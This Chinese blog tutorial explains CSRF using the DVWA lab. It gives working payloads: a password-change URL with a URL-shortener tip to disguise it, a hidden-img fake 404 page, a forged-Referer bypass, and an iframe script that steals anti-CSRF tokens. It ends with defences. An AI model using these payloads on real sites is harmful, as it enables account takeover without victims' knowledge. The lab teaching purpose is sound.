By : Mirror王宇陽javascript
E-mail : mirrorwangyuyang@gmail.comphp
筆者並未深挖過CSRF,內容居可能是參考《Web安全深度剖析》、《白帽子講web安全》等諸多網絡技術文章html
CSRF跨站請求攻擊,和XSS有類似之處;攻擊者利用CSRF能夠盜用用戶的身份進行攻擊前端
部分摘自《Web安全深度剖析》第十章java
當咱們打開或登陸某個網站後,瀏覽器與網站所存放的服務器將會產生一個會話,在會話結束前,用戶就能夠利用具備的網站權限對網站進行操做(如:發表文章、發送郵件、刪除文章等)。會話借宿後,在進行權限操做,網站就會告知會話超期或從新登陸。mysql
當登陸網站後,瀏覽器就會和可信的站點創建一個通過認證的會話。全部經過這個通過認證的會話發送請求,都被認定爲可信的行爲,例如轉帳、匯款等操做。當這個會話認證的時間過長或者自主結束斷開;必須從新創建通過認證的可信安全的會話。web
CSRF攻擊是創建在會話之上。好比:登陸了網上銀行,正在進行轉帳業務,這是攻擊者給你發來一個URL,這個URL是攻擊者精心構造的Payload,攻擊者精心構造的轉帳業務代碼,並且與你登陸的是同一家銀行,當你認爲這是安全的連接後點擊進去,你的錢就沒了!sql
好比想給用戶xxser轉帳1000元,正常的URL是:後端
secbug.org/pay.jsp?user=xxser&money=1000
而攻擊者構造的URL則是:跨域
secbug.org/pay.jsp?user=hack&money=10000
CSRF漏洞經常被用來製做蠕蟲攻擊、SEO流量等
<?php session_start(); if (isset($_GET['login'])) { $con=mysqli_connect("127.0.0.1","root","123456","test"); if (mysql_connect_errno()) { echo "鏈接失敗".mysql_connect_errno(); } $username = addslashes($_GET['username']); $password = $_GET['password']; $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'"); $row = mysqli_fetch_array($result); if($row){ $_SESSION['isadmin'] = 'admin'; exit("登陸成功"); } else{ $_SESSION['isadmin'] = 'guest'; exit("登陸失敗"); } } else{ $_SESSION['isadmin'] = 'guest'; } if($_SESSION['isadmin'] != 'admin'){ exit("請登陸……"); } if(isset($_POST['submit'])){ if (isset($_POST['username'])) { $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')"); exit($_POST['username']."添加成功"); } } ?>
這是後臺php源碼
攻擊者須要作的就是構造一個請求,請求的URL就是php文件的URL,參數是submit=1&username=1&password=1
,請求payload會自動的利用源碼的特性添加一個用戶
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>CSRF漏洞實踐</title> </head> <body> <script type="text/javascript"> var pauses = new Array("16"); var methods = new Array("POST"); var urls = new Array("isadmin.php"); var params = new Array("submit=1&username=1&password=1"); function pausecomp(millis){ var date = new Date(); var curDate = null ; do{ curDate = new Date(); }while(curDate-date<millis); } function run(){ var count = 1 ; var i = 0 ; for( i=0 ; i < count ; i ++){ makeXHR(methods[i],urls[i],params[i]); pausecomp(pausecomp[i]); } } var http_request = false ; function makeXHR(method , url , paramters){ http_request = false ; if(window.XMLHttpRequest){ http_request = new XMLHttpRequest() ; if(http_request.overrideMinmeType){ http_request.overrideMinmeType('text/html'); } } else if(window.ActiveXObject){ try{ http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e){ try{ http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e){ } } } if(!http_request){ alert('Cannot create XMLHTTP instance'); return false; } if(method == 'GET'){ if(url.indexOf('?') == -1){ url = url + '?' + paramters; } else{ url = url + '&' + paramters; } http_request.open(method,url,true); http_request.send(""); } else if(method == 'POST'){ http_request.open(method,url,true); http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded"); http_request.setRequestHeader("Content-length",paramters.length); http_request.setRequestHeader("Connection","close"); http_request.send(paramters); } } </script> </body> </html>
筆者找不到比較好的源碼,因而找到了DVWA~~
前端源碼
<h3>Change your admin password:</h3> <br> <form action="#" method="GET"> New password:<br> <input autocomplete="off" name="password_new" type="password"><br> Confirm new password:<br> <input autocomplete="off" name="password_conf" type="password"><br> <br> <input value="Change" name="Change" type="submit"> </form>
前端的源碼很是的簡單,是一個修改密碼的CSRF,表單採用GET方式Change提交
後端源碼
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
能夠看見後端接收數據後會驗證兩次密碼是否重複,而後修改密碼~~~
構造Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
咱們將Payload發送給受害者,受害者處於會話保持(登陸狀態)中,受害者一旦點擊這個URL連接,就意味着受害者執行了一樣的操做;這個過程就是CSRF
筆者處於的DVWA使用的登陸密碼,而個人密碼就被改成「123456」
重點
這裏的攻擊成立是利用受害者的Cookie向服務器發送僞造請求(Payload),若是用戶使用的是一個與xxser.com保持會話登陸的瀏覽器點擊Payload-URL,受害者的密碼就會發生更改。
哦!對了!這麼裸露的攻擊Payload在2019年安全意識高端的現代,是不會有人點擊的!這個時候咱們就有好玩的一個工具叫:「短連接」,百度、新浪的短網址服務均可以!
爲了減小圖片內容,咱們當密碼修改後的頁面會提示「Password Changed.」
高明的作法(從一位前輩copy過來的,忘記連接了!)
都知道會出現提示,要想悄悄的修改!能夠創建一個攻擊網頁,誘騙受害者訪問
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Payload</title> </head> <body> <img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none"> <h1>404</h1> <h2>file not found.</h2> </body> </html>
頁面的做用是加載一個僞404的頁面;實際上一旦訪問這個頁面,就會加載圖片,所謂加載圖片就是加載src
屬性,而src屬性則爲Payload-URL,實際的行爲就是加載該html頁面的同時圖片會加載,也就執行了Payload 你說好很差玩!加載一個404僞頁面,就把本身的密碼給該了,並且本身還不知道!
後端源碼( 添加了http_referer頭的校驗 )
<?php if( isset( $_GET[ 'Change' ] ) ) { // HTTP_REFERER :查詢當前頁的前一頁的地址信息 // SERVER_NAME :獲取域名 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // stripos() :查字符第一次出現的位置, $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
檢查HTTP_REFERER(http數據包的referer參數值)即上一級URL地址信息是否包含當前HTTP數據包中的Host參數值;包含則表示當前頁面是從DVWA即上一級URL合法的行爲。
合法的http數據包:
GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/ Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943 X-Forwarded-For: 8.8.8.8 Connection: keep-alive Upgrade-Insecure-Requests: 1
留意第2行、第8行
分析繞過
可是stripos()函數寫的頭驗證是能夠繞過的~ stripos()函數是屢次匹配; 只要包含了目標主機地址就能夠繞過stripos()函數寫的驗證語句
若是咱們依舊按照創建一個僞造的攻擊頁面,stripos()頭驗證就會驗證,然而頁面並非來自DVWA;因而深挖stripos()函數的漏洞,發現函數會屢次匹配,因而思路就是~創建一個假的文件名,經過一個僞造的文件名,繞過stripos()的驗證~
Payload
GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/127.0.0.1.html Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943 X-Forwarded-For: 8.8.8.8 Connection: keep-alive
這裏注意!咱們將Payload命名爲「127.0.0.1.html」,
後端源碼
<?php if( isset( $_GET[ 'Change' ] ) ) { // 加入 Anti-CSRF token機制 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
加入 Anti-CSRF Token機制,用戶訪問改密頁面時,服務器返回token,只有用戶提交token參數才能夠進行改密行爲!
分析繞過
咱們構造Payload頁面的時候,就須要考慮到執行改密行爲必須向服務器發送token,而token只有在改密頁面才能夠得到;
根據前輩的思路:利用受害者的cookie去改密頁面獲取token
<script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe> <body οnlοad="attack()"> <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>
攻擊思路是當受害者點擊進入這個頁面,腳本會經過一個看不見框架偷偷訪問修改密碼的頁面,獲取頁面中的token,並向服務器發送改密請求,以完成CSRF攻擊。
然而理想與現實的差距是巨大的,這裏牽扯到了跨域問題,而如今的瀏覽器是不容許跨域請求的。這裏簡單解釋下跨域,咱們的框架iframe訪問的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/,位於服務器169.254.36.73上,而咱們的攻擊頁面位於黑客服務器上,二者的域名不一樣,域名B下的全部頁面都不容許主動獲取域名A下的頁面內容,除非域名A下的頁面主動發送信息給域名B的頁面,因此咱們的攻擊腳本是不可能取到改密界面中的user_token。
因爲跨域是不能實現的,因此咱們要將攻擊代碼注入到目標服務器169.254.36.73中,纔有可能完成攻擊。下面利用High級別的XSS漏洞協助獲取Anti-CSRF token(由於這裏的XSS注入有長度限制,不可以注入完整的攻擊腳本,因此只獲取Anti-CSRF token)
這裏的Name存在XSS漏洞,因而抓包,改參數,成功彈出token
原文連接:https://blog.csdn.net/liweibin812/article/details/86468880
筆者經過DVWA平臺的CSRF實例,簡單的總結了CSRF的特性和應對措施,也因爲筆者沒有就這方面進行研究,沒有辦法進一步深度的解剖原理
從DVWA的測試中總結:
在Impossible級別的源碼中,利用了PDO技術防護SQL注入,防禦CSRF方面則要求用戶原始密碼;攻擊者在不知道原始密碼的狀況下是沒法進行CSRF的哦!筆者從網絡中搜集了幾篇文章,筆者對這些文章就不作剖解了直接copy地址
PDO防SQL注入原理分析:https://www.cnblogs.com/leezhxing/p/5282437.html
使用POST,限制GET
GET方式最容易受到CSRF攻擊,只要簡單的構造payload就可能致使CSRF;使用POST能夠大程度的減低CSRF曝光率
瀏覽器Cookie策略
老瀏覽器會攔截第三方本地Cookie的發送,而新瀏覽器則不會攔截髮送;
添加驗證碼
簡單粗暴還有效;能夠大程度的增長人機交互的過程,避免用戶被悄悄的偷襲
Referer Check
檢查請求是否來自於合法的源
Anti CSRF Token
Token的值必須是隨機的,不可預測的。因爲Token的存在,攻擊者沒法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,儘可能把敏感操做由GET改成POST,以form或AJAX形式提交,避免Token泄露。
總結:
CSRF攻擊是攻擊者利用用戶的身份操做用戶賬戶的一種攻擊方式,一般使用Anti CSRF Token來防護CSRF攻擊,同時要注意Token的保密性和隨機性。